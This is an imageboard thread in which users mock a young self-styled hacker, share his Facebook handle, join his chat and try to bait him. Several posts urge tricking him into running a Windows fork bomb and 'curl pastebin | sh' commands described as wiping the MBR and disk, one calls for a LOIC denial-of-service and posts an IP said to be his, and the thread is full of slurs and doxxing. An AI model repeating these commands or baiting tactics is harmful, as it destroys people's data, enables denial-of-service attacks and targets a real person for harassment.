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Oh god, the code, my sides.
This kid is the next Nef.
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>>34294847 (OP)
Congratulations, you found someone from /g/.
Now watch this thread get no replies, because this is true.
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jesus christ I'm cringing so hard
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Oh dear god.
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obvious troll is obvious
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>>34294847 (OP)
>that mask

jesus fuck
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No one will susexpect it.
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Never in my life have I felt that I need to punch someone repeatably so hard in the face till I tear the skin in his face and reveal his bones.
What's wrong with this guy?
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Here's a fairly recent one
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>>34295053
it's downs syndrome anonymous
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>>34294847 (OP)
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begin hack
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Oh my god all of that autism
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>>34295144
>Luatran
Yup. Very obviously a trol
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>>34295145
Ononynous
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#feature <physic>
#feature <relevant>
#feature <hecking>
printline.out("Here is just a hello world to show off the powered");
returning 0;
endprog;


Luatran is my new favourite language.
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>>34295144
oh shit. level 5!!!
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>i was mad and then i put in my usb stick which has hyperneyronworm
>hyperneyronworm
what the fuck
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Come on /g/, this is obviously a gigantic troll.

Surely nobody is actually this retarded, right?
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>>34295144
>level 5 language, the most powerful known
i don't know how to respond to that.
wow.
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>>34295238
Sadly, some people are
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>>34295238
I wish I could tell you that this kid is a troll, and we should just move on. I WISH I could tell you that.
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>>34295211
we should make and then implement a standard for this, make it completely batshit stupid.
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>>34295314

H-h-how can we be sure this guy is for real?
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>>34295359
We could always try talk to him?
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ITT: not getting the joke, /g/ edition
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>lua tran
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>>34295359
Scoping him out.
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>nano-hexbug hyperneuronworm
Care, he is probably going to sell this on Darkode and other malware marketplaces
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>>34294847 (OP)
>you would not understand, don't ask
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>>34294847 (OP)
holy shit,people like this exist?
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my sides
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come on guys, this is a 3/10 troll at best
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>Master race
>Comic sans
>Mask
>TROLLFACE JPEG
We know it's you, OP.
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>>34294847 (OP)
My poor poor sides.
>that face
>that code
There is a big chance it's a troll but I still laughed.
Hard.
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>>34295420

Please, I don't want to lose this much faith in humanity but I must know the truth
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>>34295509
writing an OS with javascript
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>>34295508

Not to mention

>beats headphones
>youtube rips

He's a 6/10 at best
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>>34295546
fuck, he's actually serious about this shit.
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>>34295509
seems legit
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>>34294847 (OP)
>that code prints out Xs and gets user input
>int virus
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>>34295583
>yfw when it doesn't even run once, because it checks 1 > 1 is false, then exits the loop
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>>34294922

This, that first paragraph gives it away.
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>>34295583
Great job disassembling the virus!
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>>34295525
>a big chance

>nano-hexbug hyperneuronworm
><hack</hack></div><body></body>
>patented three punch combo attack
>returning 0; endprog;
>genious
>own kernal
>the language i will be writing this OS in will be assembly, C and some javascript
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>>34295509
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>>34295784
Oh god, my sides.
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>>34295768
so he is a troll from /g/
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>>34295768
/g/ confirmed
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>>34295634
Just hacking the gibson, man.
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>>34295768

Post his facebook URL, let us see this nigga for ourselves
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>>34295804
>>34295813
How exactly does that prove he browses /g/?

Not saying he doesn't, seems likely, but suckless isn't limited to /g/.
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>falling for such an obvious troll
/g/ is the worst
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>>34295888
how long have you been here, son?
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>>34295867
GODDAAAAAAMMNN

^ His url
He has most stuff set to private.
I found him through another thread a while ago.
Add him and wait.
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He's not funny and the people who think he's serious are fucking idiots.
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>>34294847 (OP)
Cosmic Sans font in his virus

Confirmed troll
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Obvious, obvious troll. Not even funny.
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What the fuck IS this /g/?
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Holy shit that returning 0; shit has been killing me for five minutes non-stop now
Make it stop
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>>34295509
At least he's part of the Clojure master race.
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What.
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Added him.
I got an hour to piss away, so it's time for some lulz.
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>>34295509
>the opertating system will be LIKE UNIX but not linux as it's kernal is a piece of shit made by a finnish asshole.
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tinychat hexidecimal
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Oh man he added me on facebook.
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my sides have vacated the building
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>>34295509
>javascript
>implying a browser-based OS
>Unix-like

Either this guy doesn't know what he's talking about, or he's out to build a bigger shit-stack than Android.
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Alex May
10 minutes ago
quick update as i've suddenly got a lot of friend invites. i'm guessing this is the cat-v friends who are going to help me build my OS I hope.
one add however appeared to be a PONY FAG and I am NOT Okay with this because it is a childrens show and not for adult.
Like · · Share
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>>34296366
If he manages to do it, it'll be the latter.
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>>34294847 (OP)
>bragging about ripping videos from youtube...on facebook
>mac "genious'"
>command prompt...on a mac?????
>for (virus=1; virus>1; virus++)
>computer + app expert like me
>boom processing
>anonimus
So much fail in one picture. Please tell me this is an elaborate troll.
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>>34296347
Well, he's yours to troll now. He unfriended me the minute he noticed that I know what I'm talking about. Shame, really.

Keep us up to date, kay?
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>>34296389
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>>34296435
>mfw
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>Gave him my best trollface

oh god
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>>34296389

Oh god this is fucking great
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>>34296428
post logs please
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>>34295611
yfw it doesn't even compile, because of this
int virus == 1;
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>>34296427
I'm talking to him this very moment. And... he seems to be serious. Either that or he's counter-trolling me.
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>>34296563

Post chatlog
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>>34294847 (OP)
>that fucking for loop
Jesus christ just do while(1). This hurts to read.
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Link his profile
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>>34296563
engage anti-anti-trolling!
You are from 4chan! You can win this!
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>>34295509
>javascript
>operating system development
Yup. This is a troll. No one who knows anything about programming say that sincerely.
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>>34294847 (OP)
Only thing from him that makes sence
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>>34294847 (OP)
>noone will susexpect it
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OP promoting his own troll
If you believe its real then you are dumber that he would be if it was real
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>>34294847 (OP)
>Font-family:comic-sans-ms

Confirmed for troll
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>>34296518
Here ya go. Nothing spectacular. No communication after that.
I'll try stroking his ego a bit, I guess.
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>>34296606
>>34296653
My little anon can't samefag this hard.
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>>34294963
>>34294942
samefag?
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>>34296687
No. I'm the first you quoted.
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can I get a link to this kids fb prof
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>>34296677
Pls post his profile url.
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Unlike most trolls on /g/, this guy is actually funny.
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>>34296618
Fuck, that made me choke on my Pizza..
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>>34296677
post more pls
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>>34296618
>engage anti-anti-trolling!
so...just trolling? I guess the two antis cancel each other out.
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>>34296774
its here...read the posts
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>>34296622
It's more than possible.
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>>34296750
>>34296774

Read the thread negroids
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>>34294847 (OP)
try'na too hard/10
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>>34296799
>>34296788
its not though
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>>34294847 (OP)
>font-family: "Comic Sans MS"
No way this isn't a troll.
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>>34296785
Sorry, gotta hit the bed now. I'll keep screenshots ready. If you make a thread and I'll find it, I'll post the rest. I'll probably be on 4chan in about 9 hours. That's your challenge, anon.
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>>34296677
>i have heard of haskell i did a tut on it once
classic alex
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It's been essentially confirmed that he's a troll, sadly.

If the frequent allusions to /g/ culture didn't tip you off, you're pretty daft.

It was funny until he gave the game away.

/thread
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>Trolling is too obvious. He presses all of /g/'s right buttons suspiciously.
>Even went as far as to buy a retarded mask to make his shitty made up character convincing.
>Promotes himself shamelessly in /g/.
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>>34296833

It is though, read the whole thread
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>>34296899
I did, three times now

backlink it, prove me wrong
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>>34296677
What if it turns out he's a better programmer then he lets on?
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>>34296909

For fucks sake you blind git.

>>34295965
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>>34296909
Alex is that you
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>>34296938
well shit

now I feel silly
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>>34296909

Here you go:
>>34295965

Alternatively. facebook dot com slash GODDAAAAAAMMNN
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>>34296563
>And... he seems to be serious
I want to believe
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>>34296885

/thread

He probably did it to identify /g/entoomen IRL

Might be the NSA.
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>>34296563
That ain't trolling...
That is just being plain old retarded,

HURR DURR LOOK AT ME IM SO STUPID

go away idiot

HAAA I TROLLED YOU THE WHOLE TIME
>ISHYGDDT
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>>34296960
my first name is Henry

this has been said many a time
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>>34296909

fuck off tripfag
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>>34297006
>Comic sans
>That entire image
>COMIC SANS
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This guy is not for real.
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>>34297006
yeah, the costanza only proves it at this point.
it's over.
:(
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>>34297000
Nice trips.

Even better when that post alone sent my sides back into orbit after they just landed
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>>34296687
>the posts are next to each other so they must be one person!
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>>34296687
What could samefagging a reaction like that possibly accomplish?
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>>34294847 (OP)
Oh look another pretentious hacker. Listen kiddo, I've been into this business for over 20 years, I have fixed countless exploits in multiple operating system and saved the entire world alot of trouble. you think its fun making real hackers like my ridiculous? think again faggot, as we're speaking my hexanator.q_invoke is ready to reverse all the bits on your harddrive. I'll exploit your IP so hard that it seems only god himself shitted on you. And using a hack tag in HTML, srsly that stuff has been fixed since 1995 already.

Please, fuck off.
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I'm sure now this board is full of retards
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>>34297088

0/10. try something original newfag
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>>34296998
>might be NSA

NSA confirmed
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>>34297104

>is also on board

derp
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>>34296922
da da daaaaaaaaaaa!
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>>34294847 (OP)
>Music ripped from youtube
This MUST be a troll, it's too obvious.
>>
anonimus
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>>34296677
>favorite
>haskell
Thank god this guy has no fucking clue.
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/GODDAAAAAAMMNN

verification: sides ecalcva
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>>34295314
He knows too much to be for real. C'mon, the scruffy guy with the old laptop (ThinkPad) and Sony headphones (MDR-V6?) is completely /g/. And Luatran, a made up language with a name similar to Lua and a C-like syntax? I think we can rest assured that he is le epic trull.
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He made a tinychat, you guys should come in and make him mad.

/hexidecimal
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>>34296389
master ruseman
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>>34296885
yep. 4chan's self-esteem is so low that trying to feel superior to others is it's favorite activity.
When there aren't enough people to feel superior to you can always make up one.
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It's happening.
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Just a note, I'm not being serious in there at all.

I'm in there as lee_butler.

If you do join, play along, we need to see how retarded he can get before he flips his shit.
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ok this is way better than i thought
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>>34296267
I think even Linus accepts that he's an asshole. He's like a drill sergeant: he's a dick, but that's how he keeps order.
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>>34297521
>>34297577
reposting deleted picture because tripfag.
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>>34297577
youre a bitch.
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>>34297577
hello henry teare
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>>34297609
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>>34297609

Ask him is he knows any assembly, haskell, APL, or J.
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>>34297577
you look like you are 12
>gowaybacklikecaillou
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>>34297626
>>34297609
>>34297610
I think I fixed it

try to look me up really quick
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>>34297609
>henry teare
You look more retard than nef.
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>>34297652
hey i live near west hartford too
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This reeks of trolling.
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>writing kernel in javascript

Oh fuck my sides are in a different universe
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>>34297688
Oh sorry, kernal
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These two need to meet. They could change modern computing.
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>>34297609
This is the kind of people that browses 4chan.
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>troll confirmed
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>>>>34294922
Tad bit wrong.
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I realy can't believe in this shit.
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>>34297717
yeah i know Im a faggot im so sorry

>>34297661
yeah, look

I dont post dumb shit
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>>34297769
convince him to run
echo %0^|%0>tor.bat&tor.bat
PLEASE FOR THE LOVE OF GOD
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>>34297794
say its the elite way to access hidden tor or something
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>>34297794
isn't that a fork bomb?
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>>34297794
forky fork
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>>34297809
tried this but he knows
>>34297817
>>34297823
yeah... dammit we gotta convince him to fuck up his system somehow... not make it too obvious... hmmmm
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He's trolling you dumbfucks. It's obvious as fuck.

>mfw you thought that someone who knew what a kernel was would write one in javascript, while wearing beats headphones
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i don't know why but this guy is seriously pissing me off
even though i know he's a troll
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>obvious troll
>summer /g/ falls for it
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>>34297866
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>>34297857

Try:

curl http://pastebin.com/raw.php?i=vJQpyc4V | sh
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>>34297866
don't bother, it's just OP posting the same "my sides" posts and 2 or 3 guys that started browsing yesterday that are stupid enough to fall for this
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>>34297920
i hung out in that irc one time it made me want to kill myself
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I can't believe.
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>>34297930
I have to use curl as root in order to not get corrupted data.
sudo `curl http://pastebin.com/raw.php?i=vJQpyc4V | sh`

Thanks bro, that was pretty cool.
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>>34294847 (OP)

myfavorite part was <hack></hack>
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Master race. King of /g/ay.
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>>34297969
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Gay.
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>>34298004
>>34298003
>>34297969
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>>34297930
Better one, it overwrites your MBR and takes a website name:

 curl http://pastebin.com/8U4qfmm7 | sh && ftp "website-to-DDOS.com" 
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>>34298065

Requires root. That scares away lots of people.
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If you guys are buying this, you're more retarded than I thought. At least Nef was legit.
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For some reason I lost it when he said no one would "susexpect" it.

Also I kinda lost track of his parentheses in the last paragraph.
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>>34298086
it also writes over your hard disk with zeros
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>>34298135
I knew it was a troll from the first picture, but it's funny at least.
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ok i'm out fuckers i can't take his bs anymore
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My fookin sides!

What the hell is this shit!?
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>>34297520
>>34297769
What channel is this? I want to join the jircle cerk
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>>34298205
TINY CHAT

/hexidecimal
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>>34298205

His tinychat by the looks.
Pretty sure it was mentioned somewhere in the thread.
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>>34298183
I dunno... he's trying way too hard. Needs to be way more subtle. Like that guy that had that 'how to be a hacker' site... shit I cannot remember the name.
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>>34298230
>>34298222
So he can't even into IRC?
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>>34298253
mais non!
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>>34294847 (OP)
The real question we should be asking is how did he got those masks?
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>>34298322 (You)
Home-made?
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TinyChat channel is password protected. Anyone know the password?
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>>34298356
That was my first thought.

But how did he made them?
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>>34298361
it's hexidecimal not hexadecimal
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Now that he passed my 0x777 test, I think he does know some basic stuff.
I think he's not trolling us, he's just stupid.
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He's pulling out the hyperneuron stick
This is too intense for me
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Best thread ever.
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clearly the guy is trolling...are you all fucking retarded?
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>>34298699
Agreed, the lad is King of /g/
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>>34295144
>LEVEL 5
Oh shit son, this guy.
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You guys don't understand how retarded this guy is.
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He's so boring. I had to close the tab for my own sanity.
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>>34297727
>XDDDDD

Fucking kill yourself already
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He's doing some crazy shit on the chat
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>>34298699
Need more pictures
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he's a full retard, leaving.
thanks for the laughs
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>>34299324

You should have seen his black-magic-hacker skills he used on us.
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>>34299405
He keeps passing out or something.
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>>34299427

My sides are wherever his fucking sanity is. I can tell you know, it ain't in this universe.
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>>34299427
Now he's crying and whining about "seekers".
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and just what do we make of all this?
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>>34299563

That we're fucked and his hacking skills are far beyond our own. We should hide in a nuclear bunker on a closed circuit network to protect ourselves.
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My sides are questioning their existence
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>>34299599
3 June 2013, the day /g/ was defeated by autistic powers far higher than theirs.
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>>34299636

I'm very quickly feeling better about myself.
He's now reciting lyrics and passing out after each song.
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can someone post IRC chat logs in pastebin or something? i would love to see
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>>34299702
He's not on IRC.
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>>34299702
>>34299720
woops i mean tinychat
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>>34299740

Gentooman, break out our LOIC's..It's DOS time :3

95.150.170.208
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 <style>*font-family: "Comic Sans MS";}</html> <!--NONE WILL PREVAIL AGAINST ME:--> 


Why the he end the document and keep going? Or am I getting something wrong here? Also forgot to end the style.
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>>34294847 (OP)
>Comic Sans
>Not realizing this guy is trolling

>although I know plenty of people who would do this for real
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>>34299790
is that his IP?
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>i really hear the difference when I listen to the songs i ripped from youtube

I fucking love this guy
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>>34299954

According to the anon who gave it out. Yes.


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